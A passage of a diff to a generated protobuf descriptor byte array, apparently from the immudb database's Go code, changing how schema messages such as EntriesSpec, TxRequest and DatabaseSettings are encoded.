0x0a, 0x15, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, + 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x3c, 0x0a, 0x0b, 0x7a, 0x41, 0x64, + 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, + 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0b, 0x7a, 0x41, 0x64, 0x64, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, + 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, + 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0xc7, 0x01, 0x0a, 0x09, + 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, + 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, + 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, + 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, + 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, + 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, + 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, + 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, + 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, + 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, 0xd9, 0x01, 0x0a, 0x0b, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x42, 0x0a, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, + 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xf5, 0x01, 0x0a, 0x13, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, - 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x22, 0x0a, 0x0c, - 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, - 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, - 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, - 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, - 0x69, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, - 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, - 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, - 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, 0xc7, 0x01, 0x0a, - 0x0d, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1c, - 0x0a, 0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x12, 0x14, 0x0a, 0x05, - 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x6c, 0x69, 0x6d, - 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, - 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, + 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0d, 0x6b, 0x76, 0x45, 0x6e, + 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x40, 0x0a, 0x0c, 0x7a, 0x45, 0x6e, + 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0c, 0x7a, + 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x44, 0x0a, 0x0e, 0x73, + 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, + 0x63, 0x52, 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, + 0x63, 0x22, 0x47, 0x0a, 0x0d, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, + 0x65, 0x63, 0x12, 0x36, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xf5, 0x01, 0x0a, 0x13, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, + 0x74, 0x78, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, + 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, + 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, - 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, - 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x2d, 0x0a, 0x06, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, - 0x12, 0x23, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x52, 0x03, 0x74, 0x78, 0x73, 0x22, 0xc0, 0x01, 0x0a, 0x0f, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, - 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x2c, 0x0a, 0x11, 0x61, 0x6c, 0x6c, - 0x6f, 0x77, 0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, 0x43, 0x6f, - 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x12, 0x3f, 0x0a, 0x0c, 0x72, 0x65, 0x70, 0x6c, 0x69, - 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, - 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x52, 0x0c, 0x72, 0x65, 0x70, 0x6c, - 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x0a, 0x12, 0x73, 0x6b, 0x69, 0x70, - 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, - 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x22, 0xc2, 0x01, 0x0a, 0x0c, 0x52, 0x65, 0x70, - 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, - 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x24, 0x0a, - 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, - 0x78, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, - 0x41, 0x6c, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, - 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, - 0x78, 0x49, 0x44, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, - 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x70, 0x72, - 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x22, 0x2e, 0x0a, - 0x08, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xc0, 0x03, - 0x0a, 0x10, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, - 0x67, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, - 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, - 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, - 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72, - 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x20, 0x0a, 0x0b, - 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x28, - 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, - 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, - 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, - 0x72, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, - 0x0a, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x20, 0x0a, 0x0b, - 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x12, 0x22, - 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x0b, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, - 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, - 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x65, - 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, - 0x22, 0x92, 0x01, 0x0a, 0x15, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, - 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, - 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, - 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, - 0x78, 0x69, 0x73, 0x74, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x16, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, + 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, + 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, + 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, + 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, + 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, + 0x65, 0x64, 0x22, 0xc7, 0x01, 0x0a, 0x0d, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, + 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, + 0x54, 0x78, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x3c, 0x0a, 0x0b, + 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, + 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, + 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, + 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x2d, 0x0a, 0x06, + 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x22, 0xc0, 0x01, 0x0a, 0x0f, + 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, + 0x2c, 0x0a, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, + 0x74, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, + 0x77, 0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x12, 0x3f, 0x0a, + 0x0c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, + 0x52, 0x0c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2e, + 0x0a, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, + 0x68, 0x65, 0x63, 0x6b, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x73, 0x6b, 0x69, 0x70, + 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x22, 